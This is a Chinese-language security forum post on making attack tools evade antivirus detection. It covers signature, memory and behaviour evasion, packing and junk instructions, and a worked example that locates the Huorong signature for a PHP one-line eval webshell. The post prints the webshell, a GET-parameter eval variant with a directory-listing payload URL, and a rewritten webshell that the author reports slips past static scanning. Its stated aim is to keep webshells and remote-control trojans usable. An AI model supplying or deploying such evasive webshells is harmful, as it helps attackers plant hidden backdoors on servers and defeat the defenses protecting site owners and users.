-
-
[原创]Web安全之免杀技术交流
-
发表于:
2021-2-18 17:20
1688
-
简介
本贴用于分享自身所了解的免杀知识及相关知识的交流讨论,如:问题,思路,误区等等。
备注:根据自身知识面及相关理解会对内容进行不定时更新
更新日期:2021年2月18日
知识储备
需求分析
因现在的病毒等恶意程序查杀逐渐成熟,导致一些用于攻击用途的程序(如:一句话木马、远程控制病毒等等)无法正常使用,故需对攻击程序进行免杀处理,以规避防护程序(如防护墙,杀毒软件等等)的防护策略,从而可正常使用,到达预期效果。
常见免杀技术
基于特征
破坏恶意特征,使其规避防护程序的查杀,这个特征有可能是特征码,有可能是行为特征,只要破坏了病毒与木马所固有的特征,并保证其原有功能没有改变,一次免杀处理就能完成了。
解析:
1 | 特征码:常表现为防护程序用于判断恶意程序的一段代码(用于识别恶意程序,此特征往往是独一无二的),常根据文件信息、内存特征、运行行为制作查杀特征码,它或是一段字符,或是在特定位置调用的一个函数,进行某些操作。如果,防护程序识别到文件具有这个特征码,那么就会认为它是恶意程序。反过来,如果将这些特征码从病毒、木马的文件中抹去或破坏掉,那么防护软件就认为这是一个正常文件了,进而到达预期效果。
|
如特殊字符串特征:
"某某上线成功"改为空白内容或其它提示信息
"在数据库里插入的一句话木马"改为空白内容或其它提示信息
干扰分析
"花指令"在不影响自身运行的情况下使用垃圾指令增加反汇编分析难度
"加壳"在不影响自身运行的情况下使用加壳软件对程序进行加密处理,使其防护软件无法正常对攻击程序进行分析,进而规避防护策略,还有一个好处是加壳后的文件对比原文件往往缩小了体积,进而利用攻击。
原理解析
- 文件免杀
通过更改病毒特征码、如对字符串、防护软件识别的特征区域更改操作或使用加壳软件进行数据加密处理,使防护软件对攻击程序造成错误或无法有效的的识别,导致规避查杀。
- 内存免杀
因一般情况下内存是数据进入CPU之前的最后一个可控的物理存储设备。在这里,数据往往都已经被处理成可以直接被CPU执行的形式了,导致一些恶意特征暴露出来,从而让防护软件识别,进而无法达到预期效果,这里就行针对内存的特征码进行更改了,从而规避查杀。
- 行为免杀
防护程序监测程序运行行为与关键操作进行监控,如注册表读写、文件读写、网络下载、创建账号、关机等等,针对这些策略,进行针对的修改,如:替换类似功能的API、干扰监测、监测绕过,间接调用等等。
基于特征的免杀
识别特征码
分割法识别:将一个文件分为数份,然后再用防护软件进行查杀,如果发现其中某一份有病毒,则说明这部分含有特征码,然后再将检测到病毒的这一份分割为数份,如此往复,直到定位出我们认为长度合适的特征码为止(这种方法比较适合脚本类木马)。
示例:
常见的PHP一句话木马
1 | <?php eval (@$_POST[ 'a' ]); ?>
|
火绒查杀:
将一句话分割进行查杀测试:
1 2 | <?php eval (@$_POST[ 'a' ]);
查杀结果如下图所示:
|
第二部分报毒,对第二部分逐层分割查杀
1 2 | <?php eval (@$_POST
查杀结果如下图所示:
|
1 2 3 | <?php eval
查杀结果如下图所示:
到此已不报毒
|
总结:
火绒针对一句话木马<?php eval(@$_POST['a']); ?>
的特征码为<?php eval(
,分析监测到php脚本内使用eval函数即为病毒脚本,感觉这种特征定义的有点狠了,因有正常的脚本也可能会使用这个策略
eval()函数漏洞解析:
eval函数把字符串按照php代码来计算。该字符串必须合法,且必须以分号结尾。如果代码字符串中没有返回语句,则返回NULL,如果代码中解析错误,返回false。
可被恶意利用代码示例:
1 2 3 | <?php
$a = $_GET[ 'a' ];
eval ($a);
|
函数功能
eval() 函数可将字符串转换为代码执行,并返回一个或多个值,根据这个功能就可以被恶意利用了,如下进行了命令执行操作,恶意行为:读取文件
1 | * .php?a = var_dump(scandir( './' ))
|
针对火绒的查杀特征进行免杀处理如下所示:
1 2 3 4 5 6 7 | <?php
function x()
{
return $_POST[ 'a' ];
}
eval (x());
?>
|
连接测试:
经处理后,规避了静态查杀特征,达到了预期效果
参考资料
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2021-2-19 17:14
被梦幻的彼岸编辑
,原因: